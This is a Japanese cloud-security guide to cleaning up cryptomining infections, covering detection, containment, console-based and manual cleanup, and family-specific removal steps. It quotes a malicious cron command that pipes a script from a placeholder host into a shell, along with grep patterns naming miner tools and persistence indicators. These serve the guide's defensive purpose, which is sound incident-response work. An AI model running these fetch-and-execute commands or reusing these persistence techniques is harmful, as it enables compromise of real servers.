すべてのプロダクト
Search
ドキュメントセンター

Security Center:クリプトマイニングプログラム対処のベストプラクティス

最終更新日:Sep 09, 2026

ECS インスタンスがクリプトマイニングプログラムに侵害されると、CPU リソースが枯渇し、ビジネスサービスが中断され、マルウェアが内部ネットワーク全体にラテラルムーブメント (横展開) する可能性があります。本ドキュメントでは、即座の封じ込めと根本原因分析から、多経路のクリーンアップ、長期的なセキュリティ強化に至るまでの完全なインシデントレスポンスワークフローを説明し、システムセキュリティの迅速な回復を支援します。

クリプトマイニングプログラムの一般的な侵入経路

クリプトマイニングプログラムは、通常、ハードウェアの問題ではなくセキュリティ対策の不備が原因で、ECS インスタンスに仕込まれます。一般的な侵入経路は次のとおりです:

  • 脆弱な SSH パスワードに対するブルートフォース攻撃:攻撃者は開放されている SSH ポートをスキャンし、辞書攻撃で脆弱なパスワードを破ります。その後、サーバーにアクセスしてクリプトマイニングプログラムを仕込みます。

  • Redis への不正アクセス:Redis にパスワードが設定されていない、または誤った IP アドレスにバインドされている場合、攻撃者はファイル書き込み機能を悪用してクリプトマイニングスクリプトを仕込むことができます。

  • Web アプリケーションの脆弱性:攻撃者は RCE またはファイルアップロードの脆弱性を悪用して、サーバー上でクリプトマイニングプログラムを直接実行します。

防御策:

  1. Security Center の [ウイルスの検出と除去] 機能を使用して、クリプトマイニングプログラムを定期的にスキャンし、削除します。この機能には Anti-virus Edition 以上が必要です。

  2. ECS の セキュリティグループで、不審なポート (51827 など) へのアクセスを制限し、信頼できる IP アドレスからのアクセスのみを許可します。

  3. SSH 公開鍵を定期的に確認し、未承認の鍵を削除します。

クリプトマイニングプログラムの危険性と識別方法

危険性

  • リソース消費とパフォーマンスの低下:クリプトマイニングプログラムは、暗号資産をマイニングするために集中的な計算を行い CPU リソースを消費するため、深刻な CPU 枯渇が発生し、サーバー上の他のビジネスアプリケーションの正常な動作に直接影響を及ぼします。

  • ワームのような拡散:セキュリティ境界が突破されると、クリプトマイニングマルウェアは内部ネットワーク全体に迅速に水平展開し、侵害されたサーバー上に永続化メカニズムを確立して長期的な利益を確保します。

  • 削除が困難:クリプトマイニングプログラムは連携した保護メカニズムを採用しており、不完全なクリーンアップは感染の再発につながります。 xorddos などの一部の亜種は、システムコマンドを置き換えるため、正常なシステムコマンドを実行すると悪意のあるスクリプトがトリガーされ、削除がさらに困難になります。

識別方法

  • パフォーマンスの大幅な低下:サーバーの CPU 使用率が定期的または継続的に 80% を超え、ビジネスアプリケーションの応答が遅くなるか、完全に利用できなくなります。

  • システムの安定性の低下:クリプトマイニングプログラムによる高い計算負荷が、システムクラッシュやサービスの中断を引き起こす可能性があります。

  • セキュリティアラートの受信:Security Center は、 [クリプトマイニングプログラム][マイニングプールとの通信] 、または [悪意のあるドメイン名へのアクセス] を検出すると、アラート通知を送信します。

  • 検出メカニズム:Security Center におけるクリプトマイニング検出は、自動バックエンド識別メカニズムです。専用のセルフサービス検出ツールはありません。検出結果は、コンソールの [検知と対応] > [セキュリティイベント] ページで確認できます。

  • 早期警告指標としての Web シェル:Web シェルバックドアファイルの発見は、クリプトマイニングプログラムが仕掛けられている可能性がある早期警告指標です。攻撃者は通常、まず Web シェルをアップロードし、その後クリプトマイニングプログラムをインストールして起動します。同一ホスト上の Web シェルアラートとクリプトマイニングアラートの時系列的な関係について、セキュリティイベントリストを確認することを推奨します。

対応戦略

クリプトマイニングプログラムとその永続化バックドアを完全に削除し、サーバーの正常なパフォーマンスを回復し、セキュリティを強化して将来の侵害を防ぐため、迅速に対応してください。

費用とリスク

  • 費用

    • Security Centerアンチウイルスディープクリーンアップなどの高度な機能を利用するには、Anti-virus Edition 以上が必要です。7 日間の無料トライアルを利用できます。

    • エージェントレス検出:これは従量課金サービスです。利用するには、[エージェントレス検出]の課金機能を別途購入する必要があります。

    • 緊急対応サービス:ご自身で問題に対処できない場合は、Alibaba Cloud の緊急対応サービスを購入し、専門のセキュリティエンジニアによるサポートを受けることができます。

  • リスク

    • 手動クリーンアップのリスク:手動操作により、誤ってシステムファイルを削除したり、構成を変更したりすると、サーバーが起動できなくなる、または業務が中断する可能性があります。手動クリーンアップを実施する前に、スナップショットを作成することを推奨します。

    • データ損失のリスクシステムディスクの再初期化を実行すると、システムディスク上のすべてのデータが完全に削除されます。事前にスナップショットを作成していない場合、データは復旧できません。

ソリューションアーキテクチャ

このガイドは、「発見–封じ込め–クリーンアップ–セキュリティ強化」というインシデントレスポンスモデルに従い、さまざまな技術力やビジネスシナリオに合わせて 3 つの修復パスを提供します。

  1. 迅速な自己点検と緊急の封じ込め:脅威を特定し、状況をできるだけ早く制御して、さらなる被害を防ぎます。主なアクションは、異常なプロセスとネットワーク接続の特定、およびネットワーク分離のためのセキュリティグループの使用です。

  2. 意思決定とパスの選択:お客様の技術力、時間的制約、リスク許容度に基づき、以下の 3 つの選択肢から最適な修復パスを選択してください。

    • Security Center による自動クリーンアップ (推奨): Security Center が提供する自動化ツールを使用して、効率的かつ正確にアラートに対処し、ウイルスをスキャンし、永続性バックドアを削除します。

    • 手動クリーンアップ: Linux/Windows の運用保守に関する豊富な経験を持つ専門家に適しています。手動での調査とコマンド実行により、システムを詳細にクリーンアップします。

    • システムリセット:感染が根深い場合や再発する場合は、データをバックアップし、システムディスクを再初期化して、脅威を根本から排除します。

  3. 検証とセキュリティ強化:クリーンアップ後、システムが正常に動作していることを確認し、セキュリティ強化策を実施します。

手順

迅速なセルフチェックと緊急封じ込め

アラートを受信した場合、またはサーバーのパフォーマンスに異常があることに気付いた場合は、初期診断と緊急封じ込めのために、次の操作を実行してください。

  1. 異常なプロセスとネットワーク接続の特定

    • CPU 使用率の高いプロセスの確認: サーバーにログオンし、 top -c または ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more コマンドを実行して、長時間にわたって CPU 使用率が高い不明なプロセスを特定します。

    • 不審なネットワーク接続の確認: ss -ntp または netstat -antp コマンドを実行して、不明なリモートアドレスへの接続、特に 3333、5555、7775 などの一般的なマイニングプールポートへの接続がないか確認します。

  2. 緊急封じ込めの実施

    • ネットワーク分離 (推奨):これは、脅威を封じ込めるための最も迅速かつ安全な方法です。直ちに ECS コンソールにログインし、サーバーのセキュリティグループルールを変更して、アウトバウンドルールを「すべてのトラフィックを拒否」に設定してください。信頼できる IP アドレスから、リモートログインポート (SSH 22 または RDP 3389 など) へのアクセスのみを許可してください。この操作により、クリプトマイニングプログラムとマイニングプール間の通信が直ちに遮断されます。

    • 悪意のあるプロセスの終了: 特定された悪意のあるプロセスを終了させるには、kill -9 <PID> コマンドを実行します。ただし、これは一時的な対策であり、永続化メカニズムを削除しない限り、プロセスは再起動する可能性が高いことに注意してください。

Security Center は、マイナーの IP アドレスを追跡するための専用ツールを提供していません。バックエンドでマイニングプールへの接続が自動的に検出されます。マイナーおよびマイニングプールの IP アドレスを取得するには、コンソールで [Detection and Response] > [Security Events] を選択し、不審なネットワーク接続 および 不審なネットワークトラフィックタイプのアラートを確認してください。

修復後のサーバーステータス

サーバーでマイニングアクティビティが見られなくなる限り、クリプトマイニングアラートを処理した後、Security Center が ECS インスタンスを自動的にシャットダウンまたはロックすることはありません。Security Center は検出とアラート機能を提供するサービスであり、インスタンスをシャットダウンまたはロックする機能はありません。

  • アラートの手動処理: Security Center コンソールで セキュリティアラートの処理 ページに移動し、アラートをクリックして詳細を表示し、[処理済み] を選択します。

  • 自動期限切れ: アラートを手動で処理しない場合、生成されてから 30 日後に自動的に [期限切れデータ] としてアーカイブされます。

クリーンアップの実行

状況に応じて、以下のクリーンアップ方法のいずれかを選択します。

Security Center による自動クリーンアップ (推奨)

前提条件

  • Security Center の Anti-virus Edition、Advanced Edition、Enterprise Edition、または Ultimate Edition を購入している必要があります。

    説明

    関連機能を使用するために、7 日間の無料トライアルを有効化することもできます。

  • フル スキャンを実行するには、従量課金制サービスであるエージェントレス検出 機能を有効にする必要があります。

  • 対象サーバー上の Security Center エージェントがオンラインであることを確認します。

ステップ 1: アラートへの対処と悪意のあるプロセスの終了

セキュリティセンターの セキュリティアラートの処理 機能を使用して、悪意のあるプロセスを終了し、ウイルスファイルを隔離して、クリプトマイニングプログラムを迅速に停止します。 詳細については、「セキュリティアラートの評価と処理」をご参照ください。 以下に例を示します。

  1. Security Center コンソールにログインします。

  2. 左側のナビゲーションペインで、レスポンス検出 > [セキュリティイベント] を選択します。 コンソールの左上隅で、保護対象のアセットが配置されているリージョンとして、中国本土 または 中国本土以外 を選択します。

  3. クリプトマイニングアラートを見つけ、「操作」列の詳細をクリックすると、アラートの詳細が表示されます。

    重要

    Security Center コンソールで提供される基本情報とイベントの説明に基づき、暗号通貨マイニングプログラムを特定し、他のアラートや不審なファイルを確認できます。アラートをトリガーしたファイルが、正当なビジネスファイルか、攻撃者によって実行されたファイルかを判断する必要があります。攻撃であることが確認された場合は、暗号通貨マイニングアラートを処理した後、サーバー上の他のすべてのアラートと不審なファイルにも対処することをお勧めします。

    アラート詳細ページでは、マイナーの IP アドレスとマイニングプール通信に使用される宛先 IP アドレスも確認できます。これらの IP アドレスをセキュリティグループに追加して接続をブロックできます。

  4. [アラート] ページに戻り、クリプトマイニングアラートに対処します。

    1. 対象のクリプトマイニングアラートの操作する列で処理をクリックします。

    2. 「アラートの処理」ダイアログボックスで、処理方法としてウイルスの検出と除去を選択します。 次に、プロセスの終了またはプロセスの終了およびソースファイルの隔離を選択し、今すぐ処理をクリックしてプログラムの再実行を防ぎます。

      アラートの原因となったファイルが業務ファイルではないことを確認した場合、ウイルスによるサーバーへのさらなる感染を防ぐため、プロセスの終了およびソースファイルの隔離 を選択することをお勧めします。

      説明

      セキュリティセンターは、同一アラートの同時処理 (同一のルールまたはタイプによってトリガーされたアラートを集約し、バッチ処理をサポートします) 機能をサポートしています。同じルールまたはタイプによってトリガーされたアラートを一括処理する必要がある場合は、同一アラートの同時処理 (同一のルールまたはタイプによってトリガーされたアラートを集約し、バッチ処理をサポートします) を選択できます。

  5. 「アラート」ページで、クリプトマイニングイベント (マイニングプール通信など) によって生成された関連アラートを見つけ、[ブロック] アクションを実行します。

    説明

    Security Center は、サーバーがマイニングプールにアクセスするのを防ぐための対応ポリシーを生成して、セキュリティイベントへの対応に必要な時間を確保します。マイニングプール IP アドレスをセキュリティグループに手動で追加してアクセスをブロックすることもできます。セキュリティグループルールの追加方法の詳細については、「セキュリティグループルールの追加」をご参照ください。

  6. [アラート] ページで、プロセス動作異常アラートがないか確認し、異常な定期タスクがあるかどうかを判断して、それらのアラートに適切に対処します。Security Center のアラート詳細パネルでは、アラート名は「プロセス異常 - Linux 定期タスクが異常なコマンドを実行」で、ステータスは [保留中] です。主なフィールドは次のとおりです:

    • プロセス名: bash

    • プロセスパス: /usr/bin/bash

    • プロセス ID: 14075

    • ユーザー名: root

    • コマンドライン引数: /bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

    イベント説明: ハッカーが侵入した後、悪意のあるシェルスクリプトが crontab または systemd 定期タスクに書き込まれ、永続的に実行されるよう設定されます。推奨される解決策は、/etc/crontab/var/spool/cron//var/spool/cron/crontabs/ などのディレクトリで不審な定期タスクファイルを確認し、システムパスワードを強化することです。

ステップ 2: 深層スキャンとクリーンアップ

悪意のあるプロセスを終了した後も、自動起動サービスや定期タスクなどの永続化メカニズムが残っている可能性があります。Security Center の ウイルス対策 機能を使用してスキャンとクリーンアップを行います。詳細については、「ウイルス対策」をご参照ください。以下の手順は一例です。

  1. セキュリティセンターコンソールにログインします。左側のナビゲーションウィンドウで、保護設定 > ホスト保護 > ウイルスの検出と除去を選択します。 コンソールの左上隅で、保護する資産が所在するリージョンとして中国本土または中国本土以外を選択します。

  2. ウイルスの検出と除去 ページで、今すぐスキャン または 再スキャン をクリックします。

  3. スキャンの設定 パネルで、スキャンモードとスキャン範囲を設定し、OK をクリックします。

    • スキャンモードクイックスキャン を選択します。

    • [スキャン範囲]: 暗号資産マイニングプログラムによって侵害されたサーバーを選択します。

      [スキャンモード][クイックスキャン] に設定し、[アセット別] タブで対象サーバーをフィルターして選択します。

  4. スキャンが完了したら、ウイルスの検出と除去 ページで、対象のアラートの 処理 列にある 操作する をクリックします。

  5. アラートの処理 パネルで、詳細スキャン を選択し、次へ をクリックして、システムがアラートを処理するのを待ちます。

  6. アラートが処理された後、[アラート] ページで結果とアラートステータスを確認します。

    [アラートの処理] ダイアログボックスで、処理方法として [ディープクリーンアップ] (推奨) を選択します。ディープクリーンアップは、以下の操作を実行します。

    • 悪意のあるウイルスプロセスの終了

    • 悪意のあるサンプルの隔離

    • 攻撃者が仕掛けた永続化メカニズムの削除 (Crontab エントリや悪意のあるダウンロードソースなど)

    「修復方法」セクションで、[スナップショットの自動作成と修復] を選択し、スナップショット名 (例: VirusDefense_AlertRepair_DeepCleanup) とスナップショットの保持期間 (例: [1 日]) を設定します。40 GB のシステムディスクの場合、スナップショットの費用は 1 日あたり約 0.15 元です。

ステップ 3: フルスキャン

ファイルが残っていないことを確認するために、エージェントレス検出機能を使用してオフラインでのフルディスクスキャンを実行できます。この機能は検出のみに対応しており、修復はサポートしていません。検出されたリスクは、リスク詳細ページで提供される詳細に基づいて対処する必要があります。詳細については、「エージェントレス検出」をご参照ください。

  1. セキュリティセンターコンソールにログインします。保護対象のアセットが配置されているリージョンを選択します: 中国本土 または 中国本土以外

  2. エージェントレス検出 > ホストのセキュリティ評価 タブの 脅威検出 セクションで、今すぐ診断 をクリックします。

  3. 今すぐ診断 パネルで、次の表の説明に従って設定を行い、OK をクリックします。

    • スキャン範囲:脆弱性とアラートの検出範囲を広げるため、データディスクのスキャンを推奨します。

    • イメージ保持期間

      • 値の範囲は 1 ~ 365 日です。

      • イメージの作成には料金が発生します。イメージの保持期間が長いほど、料金が高くなります。

        重要

        脅威が検出されたイメージのみ保持 を選択した場合、システムはスキャン完了後に脅威のないイメージを自動的に削除します。

  4. タスクを作成すると、Security Center は自動的に イメージを作成し、スキャンおよび後続の操作を実行します。詳細については、「スナップショットとイメージの自動作成」をご参照ください。

    説明

    スキャン時間はデータ量によって異なります。タスクが完了するまでお待ちください。

  5. 検出タスクが完了したら、検出された脆弱性リスク、ベースラインチェックの失敗、セキュリティアラート、および機密ファイルを確認し、対処します。

手動クリーンアップ

クリプトマイニングプログラムは多数の永続性バックドアを作成するため、削除が困難です。Security Center のサブスクリプションがない状態でクリプトマイニングウイルスに感染した場合は、以下の対策を講じて調査と対処を行うことができます。

重要

この方法では、ファイルと設定の変更を伴います。作業を進める前に、操作エラーが発生した場合にデータを復元できるように、サーバーのディスクのスナップショットを作成してください。

Linux システム

  1. 悪意のあるネットワーク通信のブロック

    ホスト上でクリプトマイニングアクティビティを発見した後、最初のステップは、クリプトマイニングトロイの木馬のネットワーク通信をブロックして影響を即座に制御することです。完全な修復には時間がかかる可能性があるためです。

    1. 以下のコマンドを実行して、現在のシステムのネットワーク接続を確認します。

      netstat -antp
      [root@ixxx poc]# netstat -antp
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
      tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
      tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
      tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
      tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
      tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
      tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
      tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
      tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
      tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
      tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind
    2. 次のコマンドでは、C&C アドレス を、通常の業務で使用されていない不審なリモートアドレス (Foreign Address) に置き換えます。次に、コマンドを実行してファイアウォールルールを追加し、サーバーと不審なアドレス間のすべてのネットワーク接続をブロックします。

      iptables -A INPUT -s C&C address -j DROP
      iptables -A OUTPUT -d C&C address -j DROP
  2. 定期タスクのクリア

    クリプトマイニングトロイの木馬は、定期タスクを使用してトロイの木馬を 定期的にダウンロード (更新) および起動 することがよくあります。プロセスとトロイの木馬ファイルをクリーンアップするだけでは、プログラムを根絶するには不十分であり、再感染につながる可能性があります。

    以下の定期タスクファイルを調査し、クリプトマイニングトロイの木馬のダウンロードまたは起動に関連するタスクを削除します。

    • 現在のユーザーまたは指定されたユーザー (username) のスケジュールされたタスクを表示します。

      crontab -l
      crontab -u username -l
    • ホスト上のすべての定期タスクファイル。

      /etc/crontab
      /var/spool/cron/
      /etc/anacrontab
      /etc/cron.d/
      /etc/cron.hourly/
      /etc/cron.daily/
      /etc/cron.weekly/
      /etc/cron.monthly/
  3. 自動起動サービスのクリア

    1. 以下のコマンドを実行して、システム上のすべての自動起動サービスを調査します。

      systemctl list-unit-files | grep enabled
    2. 不審なサービスのユニットファイルを見つけて、その詳細を確認します。

      * をサービス名に、<service_unit_name> をサービスユニットファイル名に置き換えます。

      ls -al /etc/systemd/system/*.service
      ls -al /usr/lib/systemd/system/*.service
      
      # サービスの詳細を表示 (サービスによって起動されるプロセスファイル)
      cat /etc/systemd/system/<service_unit_name>.service
    3. 悪意のある自動起動サービスが見つかった場合は、以下のコマンドを使用してサービスを無効化し、そのユニットファイルを削除します。

      <service name> をサービス名に置き換え、<service_unit_name> をサービスユニットファイル名に置き換えます。

      systemctl disable <service name>
      rm /etc/systemd/system/<service_unit_name>.service
      rm /usr/lib/systemd/system/<service_unit_name>.service
    4. 以下のサービスパスで自動起動サービスを調査し、上記の手順を使用してクリーンアップします。

      /etc/rc.local
      /etc/inittab
      /etc/rc.d/
      /etc/init.d/
  4. SSH 公開鍵のクリア

    クリプトマイニングトロイの木馬は、攻撃者の SSH 公開鍵を ~/.ssh/authorized_keys ファイルに追加することがよくあります。これにより、攻撃者はパスワードなしで侵害されたホストにログインし、悪意のあるファイルを再インストールできます。~/.ssh/authorized_keys ファイルを調査し、不審な公開鍵を直ちに削除します。

  5. .so ハイジャックのクリア

    /etc/ld.so.preload ファイルを介して設定されたプリロードされた .so ファイルは、toppsnetstat などの一般的なシステムコマンドをハイジャックして、クリプトマイニングプロセスを隠蔽することがあります。

    1. 以下のコマンドを実行して、プリロードされた .so ファイルを調査します。

      cat /etc/ld.so.preload
    2. 以下のコマンドを実行して、プリロードハイジャックを削除します。

      echo > /etc/ld.so.preload
  6. 悪意のあるアカウントのクリア

    一部のクリプトマイニングトロイの木馬ファミリーは、侵害されたホストを長期的に制御するために新しい バックドアアカウント を作成します。以下のコマンドを実行して悪意のあるアカウントを確認し、関連するアカウント情報を手動で削除します。

    • 最近のアカウント作成アクティビティのログを確認します。

      cat /var/log/audit/audit.log | grep useradd
      # または
      cat /var/log/secure | grep 'new user'
    • /etc/passwd ファイルで不審なアカウントを確認します。

      cut -d: -f1 /etc/passwd
    • アカウントの home ディレクトリの作成時刻または最終アクティブ時刻を確認します。最近作成された home ディレクトリに特に注意してください。

      stat /home/guest/
  7. 改変防止技術への対抗

    定期タスクや自動起動サービスなどの永続化ファイルを書き込んだ後、一部のクリプトマイニングトロイの木馬はファイルに 不変 属性を設定して、永続化メカニズムが削除されないようにします。

    [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
    rm: remove regular file '/etc/cron.hourly/logrotate'? y
    rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
    [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
    bash: /etc/cron.hourly/logrotate: Permission denied
    [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
    ----i---------e-- /etc/cron.hourly/logrotate

    この状況に遭遇した場合は、以下のコマンドを実行してファイル属性を復元してから、該当するタスクを削除します。

    chattr -i /etc/passwd
    chattr -i /etc/crontab
  8. クリプトマイニングトロイの木馬プロセスの終了

    1. クリプトマイニングプロセスは通常、多くの CPU リソースを消費します。以下のコマンドを使用して、不審なクリプトマイニングプロセスを調査できます。

      • ホストの CPU を大量に消費しているプロセスを調査します。

        top -c

        %Cpu(s) 行の 99.4 us 値 (ユーザー空間 CPU 使用率を示す) と、プロセスリストで 395.0% の CPU を消費している /root/.config/logrotate プロセスに注目してください。

        top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
        Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
        %Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
        KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
        KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem
        
          PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
        16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
        ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
        [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
          PID  PPID CMD                         %CPU
        16901     1 /root/.config/logrotate      208
         8988  8847 /root/.vscode-server/bin/2d  3.9
      • 異常なネットワーク接続の動作を調査します。

        netstat -antp

        出力は、16901/logrotate プロセスに異常な ESTABLISHED ネットワーク接続があることを示しており、これは不審な動作です。

        [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
        Active Internet connections (servers and established)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
        tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
        tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
        tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
        tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
        tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
        tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
        tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
        tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
        tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
        tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
        tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
        tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
        tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
        tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
        tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
        tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind
      • 不審なプロセスのファイルパスを取得します。

        ls -al /proc/$PID/exe
      • プロセスファイルの MD5 ハッシュを計算し、Alibaba Cloud 脅威インテリジェンスプラットフォームで検索します。

        md5sum /proc/$PID/exe

        検索結果ページには、以下の情報が表示されます:

        • ファイルのリスクレベル (例: [中]) と最近のアクティビティ。

        • ファイル名、ランタイム環境、初回発見時刻を含むファイルの詳細。

        • MD5、SHA1、SHA256 を含むハッシュ値。

        • 脅威タグ (例: [クリプトマイニング])。

    2. 以下のコマンドを実行して、クリプトマイニングプロセスを終了し、トロイの木馬ファイルを削除します。

      kill -9 $PID
      # ls -al /proc/$PID/exe から取得したプロセスパスを削除
      rm /path/to/executable

Linux システム (特定のクリプトマイニングケース)

AliyunDuns に偽装したクリプトマイニング

  1. 以下のコマンドを実行して、永続的な自動起動エントリを調査します。

    grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
    grep -rl "wget"  /etc/cron.hourly/*
  2. 結果が見つかった場合は、自動起動サービスが存在します。以下のコマンドを実行して削除します。

    rm -f /etc/systemd/system/sysetmd.service
    rm -f /etc/systemd/system/monero.service
    rm -f /etc/systemd/system/A_li_yun_Duns.service
    chattr -i /etc/cron.hourly/0
    rm -f /etc/cron.hourly/0
  3. 不審なユーザーを調査して対応します。

    1. 以下のコマンドを実行して、システムユーザーリストをクエリし、不審なユーザー名を特定します。

      cat /etc/passwd
    2. 以下のコマンドを実行して、異常なシステムユーザーに関する情報を表示します。この例では、ユーザーは shaojiang99 です。

      cat /etc/passwd | grep shaojiang99
      cat /etc/shadow | grep shaojiang99
    3. 以下のコマンドを実行して、不審なシステムユーザーを削除します。

      chattr -i /etc/passwd
      chattr -i /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/passwd

Skidmap の手動修復

  1. 以下のコマンドを実行して、自動起動サービスエントリを削除します。

    echo "" > /lib/systemd/system/systemd-cgroup.service
    echo "" > /lib/systemd/system/systemd-deltaed.service
    echo "" > /usr/bin/systemd-cgroup.org
    echo "" > /usr/bin/systemd-cgroup
    echo "" > /usr/bin/systemd-deltaed
    echo "" > /usr/bin/systemd-deltaed.org
  2. SSH 公開鍵ファイル authorized_keys を手動でクリーンアップし、不審な鍵を削除します。

Cleanfda の手動修復

  1. 以下の定期タスクパスで不審なスクリプト実行 (例: /etc/upat.sh) を調査します。

    /var/spool/cron/
    /etc/cron.d/
    /var/spool/cron/crontabs
    /etc/crontab
  2. 変更されたコマンドを調査します (元のプログラム (pspstreetop など) は、サフィックス .original で名前が変更されます)。

    ls -al /usr/bin | grep original
  3. SSH 公開鍵を調査し、不明な鍵を削除します。

    cat ~/.ssh/authorized_keys
    cat /root/.ssh/authorized_keys

例:

# 変更されたコマンドを復元
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# 定期タスクファイルの編集権限を復元
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# 不審な定期タスクとペイロードを削除
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# 不審な公開鍵を削除
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

Outlaw ファミリーのクリプトマイニング

  1. すべての cron 定期タスクで文字列 .configrc5/ を調査します。

    • 定期タスクパス:

      /var/spool/cron/root
      /var/spool/cron/
      /etc/cron.d/
      /var/spool/cron/crontabs
      /etc/crontab
    • 以下のコマンドを実行して調査します。

      grep -r ".configrc5/" /var/spool/cron/*
      grep -r ".configrc5/" /etc/cron*
  2. 見つかった場合は、以下のコマンドを実行して関連ファイルを削除します。

    rm -rf /tmp/.X2xi-unix/.rsync
    rm -rf ~/.configrc5

kinsing ファミリーのクリプトマイニング

  1. 以下のコマンドを実行して cron 定期タスクを調査します。gi.sh | bash > /dev/null に類似したコンテンツを探します。存在する場合は、その行を削除します。

    grep -r "gi.sh | bash > /dev/null" /etc/cron*
    grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*
  2. 以下のコマンドを実行して、/lib/systemd/system/bot.service サービスが存在するか確認します。

    cat /lib/systemd/system/bot.service 
  3. サービスが存在する場合は、以下のコマンドを実行して /etc/ld.so.preloadlibsystem.so ファイルがあるか確認します。

    cat /etc/ld.so.preload
  4. libsystem.so ファイルパスを特定した後、ファイルを削除します。

Windows システム

  1. PowerShell で以下のコマンドを実行して、CPU 使用率に基づいて不審なクリプトマイニングプロセスを調査します。

    説明
     ps | sort -des cpu
     While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}
  2. 以下のコマンドを実行して、クリプトマイニングプロセスの実行可能ファイルパスとコマンドライン引数を表示します。

    説明
    wmic process where processid=xxx get processid,executablepath,commandline,name     // xxx はプロセス PID
  3. クリプトマイニングプロセスを終了し、トロイの木馬ファイルを削除します。

  4. 以下のコマンドを実行して、不審なネットワークポートへの接続を確認します。

    説明
    netstat -ano | findstr xxx            // xxx は不審なネットワークポート
  5. 以下のコマンドを実行して、サーバーの hosts ファイルにクリプトマイニングプログラムのマイニングプールアドレスが含まれているか確認します。

    説明
    type C:\Windows\System32\drivers\etc\hosts
  6. 以下のコマンドを実行して、クリプトマイニングプログラムによって設定された定期タスクがあるか確認します。

    説明
    schtasks /query

システムのリセット

